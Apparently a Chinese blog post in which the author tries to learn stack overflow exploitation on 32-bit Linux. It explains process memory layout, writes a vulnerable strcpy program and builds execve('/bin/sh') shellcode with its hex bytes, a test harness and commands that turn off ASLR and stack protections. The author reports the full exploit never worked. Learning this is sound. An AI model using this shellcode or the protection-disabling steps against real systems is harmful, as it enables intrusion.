一直对白帽技术情有独钟,无奈囿于环境、圈子等因素,总是管中窥豹,不得法门。也许这个圈子很小众,没多少人愿意或者有精力与时间去深入其中吧。大神们可能都在哪个偏僻的角落苦练内功呢,没成立几个门派、没招收弟子吧。况且,软件厂商谁都不愿意把漏洞及利用方法公之于众,法律层面也不允许利用系统缺陷牟利,红客黑客等被不论是否被招安都不愿意去公开杀手锏,更不愿意不经意间再搞一个“熊猫烧香”出来,反而误了卿卿性命。当然,希望还是要有的,总有那一小撮人,不愿随波逐流,不辞昼夜地做一些“无所谓”的试验,如与哪位过客有缘,愿意指点一二,仍旧十分感激!
前期翻书研究了一下Linux系统的内存管理,获益良多,很受鼓舞。遂想深入尝试一下栈溢出漏洞(stack overflow),并得闲研究了一番。本想待探索得有点眉目后再发布结果出来,哪怕是阶段性的验证结果,无奈纵使尽浑身解数,也未能得愿。姑且当做一次小试牛刀吧,虽中途折戟,铩羽而归,但验证了一些什么,毫不后悔,“我来了,我看见,我没有征服”O(∩_∩)O哈哈~,只得总结下经验教训供大家借鉴吧。
网上讲述堆栈溢出漏洞原理多如牛毛,涉及到的例子也比较多,可实际可行、经得起上机验证的并不多,很多还得自己琢磨着组装。也许是因为Linux内核的版本也在不停地更新完善,致使各类版本的栈溢出代码已经失效了。
Linux系统进程的内存布局大体如下:
内核区 线性地址大于0xC000 0000 | Linux内核 | 高地址 ↑ ...... ↓ |
命令行参数及环境变量 | 变量区 | |
栈 用于保存函数调用参数、调用返回地址、caller基地址、callee局部变量,当然还有canary值等 | 栈底 ...... 栈顶 | |
堆 malloc、new等申请的内存 | 堆 | |
未初始化或初始化为0的全局变量区 | .bss | |
已初始化的全局变量、静态(局部)变量 | .data | |
常量区 | .rodata | |
代码区 | .text |
在进程运行期间,进程在自身线性地址内存空间的布局大体如此表,值得注意的是:并不是所有的常量都会被保存到rodata段,存在一些特殊情况:
- 有些立即数会直接编码到指令里,位于代码段;
- 重复的字符串常量会合并,程序中只保留一份;
- 某些系统中rodata段会被多个进程共享,用于提高空间利用率。
另外,有的嵌入式系统中,rodata不会加载到RAM中,而是直接在ROM中读取。
(参见:https://www.cnblogs.com/zhcpku/p/14437940.html)
可以看作是将可执行的ELF文件的段,分门别类地放置了一下,而后按照代码段的给定的规则,操作堆、栈和变量数据区实现最后结果。小到命令行工具,大到具有消息循环的图形界面应用大体如是,不论是Linux系统还是Windows系统。
如此,大名鼎鼎的溢出漏洞攻击主要就是发生在程序或其所调用库的“栈”和“堆”这两个位置,即“栈溢出漏洞”和“堆溢出漏洞”。通过利用漏洞,可实现窃取隐私数据、实现非法访问、提高现行用户权限等。
先简要了解一下函数调用时,栈的工作过程:
常见的栈溢出方式主要有:
- 修改返回地址,让其指向溢出数据中的一段指令(shellcode)
- 修改返回地址,让其指向内存中已有的某个函数(return2libc)
- 修改返回地址,让其指向内存中已有的一段指令(ROP)
- 修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
不论使用怎样多变的技术手段,栈溢出的中心思想就是:通过修改栈内保存的值并设法将其弹出给eip寄存器,使程序改变运行轨迹,去运行非既定的代码。也即,修改函数调用后的返回地址,使程序跳转到非常规位置继续执行。
前提条件:
- 目标程序存在漏洞
- 操作系统保护措施被绕过或关闭
被攻击程序一般接受用户输入,理论上不接受输入的程序无法与用户交互,这种“一刀切”后果是用户只能使用它展示的内容,无法与其交互,体验效果不佳,当然相当安全了。想当年互联网兴起之时,是个单位都迫不及待地弄个网站、放个主页、打一波广告来推销自己,深怕被时代或社会抛弃。试想,在百度里搜不到官网的企业能是什么有实力的企业呢?
后来,互联网应用普及流行,论坛博客等等竞相登台,网页的交互性越来越强,电子商务时代的到来使得“互联网+”成为了顶流话题,现象级的价值制高点。网络安全带来的困扰也如影随形,与各大企业不期而遇。于是因不需要推广、也不需要挖掘效益的机构逐渐慎重起来,关停或者封闭化了互联网的入口,以减少网络安全事件。
在网络上,只要有信息交互,就有安全风险。
同样,对于一个进程而言,只要和用户有交互,就会产生被攻击的风险,尤其是有不可预估的输入内容时。风靡一时的C语言也有过饱含漏洞的库函数,如:strcpy、strcat、gets等,不得已后来又发布了一系列的安全版本函数:strcpy_s、strcat_s等作为替代品。
因此,本着黑客探索的精神,或者说是考古的精神,从头做起,自制矛和盾来研究“矛盾”这一马克思主义客观规律:-)
研究思路:
1、写一个使用strcpy函数、需要用户输入的漏洞程序;
2、构造一段shellcode(也叫payload)代码——就是那种一堆十六进制机器码,看也看不懂却放在程序里合适的位置居然能执行的代码;
3、在漏洞程序运行时,输入shellcode,使得程序在调用strcpy函数后,造成栈溢出;
4、溢出后程序在退出(或者某子函数调用结束)后,控制权转移执行shellcode。
第一步很简单,随便写个使用strcpy函数的C代码程序,写存在漏洞的程序不难,每个coder自带制造bug天赋被动技能,大咖也如此。如下:
target.c
#include <stdio.h>
#include <string.h>
#define BUFSIZE 32
void vd()
{
printf("vd here!\n");
}
char shellcode[]="\x90\x90\x90\x90\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//\xac\xef\xff\xbf
char retval[]="\xac\xef\xff\xbf";
int i=0;
int main(int argc, char *argv[])
{
char buf[BUFSIZE];
// strcpy(buf,argv[1]);
// printf("Buf: %p, %s\n",&buf,buf);
int* p=(int*)(buf+64);
strcpy(buf,shellcode);
for(i=32;i<64;i++)//<37
{
if(i>=40&&i<=43)continue;
p=(int*)(buf+i);
*((char*)p)=0x00;//*p=0x00000000;
}
p=(int*)(buf+64);
// *p=0xbfffefac;
*p=(int*)buf;
return 0;
}
这不是不需要用户输入吗?确实,本来需要用户输入shellcode,为了简便一些,先用全局变量代替了:-)。当然,最根本的原因是没有实现成功的溢出/(ㄒoㄒ)/~~,所以没来得及改回来。就这还没有调试实现成功利用呢。
需要解释几点:
1、可以修改“strcpy(buf,shellcode);”为“strcpy(buf,argv[1]);”来实现用户输入;
2、0xbfffefac是buf起始地址,程序退出后的返回地址在(buf+64)处,如此处赋值vd函数的地址,则会执行vd();
3、main()函数里其实只定义一个char数组并执行一下strcpy函数即可,其它包括vd()函数,都是调试验证用的,可以删除。
第二步,构造code代码:
网上可以找到许多类似代码,都属于非人间所能创造的神器。不过思路倒是可以捋一下:
Linux系统里有2个重要的系统调用:execve()和system(),前者在32位系统里的调用号为11,可以启动其它程序,如shell等。因此,编写一段使用以上函数的C代码程序,然后反汇编成汇编语言即可。其中有2个难点:
1、避免出现\x20和\x00,以免影响字符串的正常处理,如“mov eax, 0”等指令的二进制编码就会产生\x00;
2、需要用到"/bash/sh"字符串,需要巧妙地将字符串包含到shellcode中去,并能够自定位该字符串的首地址。
shellcode.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *code[2];
code[0]="/bin/sh";
code[1]=NULL;
execve(code[0],code,NULL);
return 0;
}
编译生成反汇编(asm文件):
$ gcc shellcode.c -fno-stack-protector -z execstack -z norelro -no-pie -S -masm=intel -O0 -o shellcode-intel.asm
生成的shellcode-intel.asm文件内容如下:
.file "shellcode.c"
.intel_syntax noprefix
.section .rodata
.LC0:
.string "/bin/sh"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
lea ecx, [esp+4]
.cfi_def_cfa 1, 0
and esp, -16
push DWORD PTR [ecx-4]
push ebp
.cfi_escape 0x10,0x5,0x2,0x75,0
mov ebp, esp
push ecx
.cfi_escape 0xf,0x3,0x75,0x7c,0x6
sub esp, 36
mov eax, ecx
mov eax, DWORD PTR [eax+4]
mov DWORD PTR [ebp-28], eax
mov eax, DWORD PTR gs:20
mov DWORD PTR [ebp-12], eax
xor eax, eax
mov DWORD PTR [ebp-20], OFFSET FLAT:.LC0
mov DWORD PTR [ebp-16], 0
mov eax, DWORD PTR [ebp-20]
sub esp, 4
push 0
lea edx, [ebp-20]
push edx
push eax
call execve
add esp, 16
mov eax, 0
mov ecx, DWORD PTR [ebp-12]
xor ecx, DWORD PTR gs:20
je .L3
call __stack_chk_fail
.L3:
mov ecx, DWORD PTR [ebp-4]
.cfi_def_cfa 1, 0
leave
.cfi_restore 5
lea esp, [ecx-4]
.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609"
.section .note.GNU-stack,"",@progbits
嗯,果然非凡物所比,过于唬人。
既然我们只是调用一下execve系统调用,为什么系统那么严格地生成诸多“多余”的代码?不得其解,可能与GCC编译器有关。
转换一下思路:就按以上格式,参看execve系统调用的调用方式,人为填充ecx、edx,使用int 0x80中断(注意64位改用syscall),代码则要短得多,如下:
shellc.s
.file "shellc.s"
.intel_syntax noprefix
.section .rodata
.section .text
.global _start
_start:
jmp callstr
begin: pop ebx
xor ecx, ecx
xor edx, edx
xor eax, eax
add eax, 11
int 0x80
ret
callstr: call begin
msg: .string "/bin/sh"
其中精妙之处在于jmp和call的配合,参考《》黑客攻防入门(三)shellcode进阶 - 简书》,补充一个关于call和ret的指令行为理解方式:
call会实现代码在段内或者段间的跳转:
1、在段内跳转时,call指令类似可以理解为执行了2条指令:
push eip
jmp xxx
2、在段间跳转时,call指令可以理解为执行了3条指令:
push cs
push eip
jmp xxx
ret类似call但是作用正好相反:
1、在段内跳转时,ret指令执行的是retn n,可以理解为执行了2条指令:
pop eip
add esp, n
2、在段间跳转时,call指令执行的是retf n,可以理解为执行了3条指令:
pop eip
pop cs
add esp, n
在shell中执行:
as -o shellc.o shellc.s
ld -o shellc shellc.o
objdump -d shellc >scode.s
即可在scode.s中得到shellcode:
"\x90\x90\x90\x90\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";其中\x90为nop指令,即仅占位不执行,继续执行下一条指令,用于根据需要扩充shellcode长度。
下面验证一下shellcode的可用性:
#include <stdio.h>
unsigned char code[]="\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char* argv[])
{
long *ret;
ret=(long*)&ret+2;
(*ret)=(long)code;
}
运行结果如下:
shellcode正常运行,没问题。
第三步,也是最重要的一步,当然也是苦苦探求未果的一步,遗憾ing~。运行漏洞程序,并输入shellcode,实现溢出并转变程序的执行轨迹。
实验结果:漏洞溢出实非难事,但不让栈崩溃、跳转执行shellcode,至今毫无头绪。
编译选项:
sudo bash -c "echo 0 >/proc/sys/kernel/randomize_va_space"
gcc target.c -fno-stack-protector -z execstack -z norelro -no-pie -O0 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -g -O0 -o target
gcc target.c -fno-stack-protector -z execstack -z norelro -no-pie -S -masm=intel -O0 -o target-intel.asm
收获及推测:
1、在target.c中,根据char数组buf的长度32,shellcode[]不能超过32,否则在执行strcpy函数时会引发SIGSEGV错误,可能系统会检测到越界,若把strcpy函数放在子函数中,不会引发该错误,可通过strace ./target查看错误位置;
2、strace ./target调试发现,不论在*(buf+32)处如何赋值,即使是\x00,execve调用的命令行参数总会被修改,提示找不到路径:
execve("/bin/sh\354\357\377\277", NULL, NULL) = -1 ENOENT (No such file or directory);
3、*(buf+40)~*(buf+43)处不可赋值,可能是canary数,没找到资料显示canary数已经由1字节变为4字节~~~~(>_<)~~~~,一旦赋值程序即崩溃。虽然编译target程序时已经关闭了堆栈保护等功能,但操作系统先于该关闭操作之前运行,可能不受影响。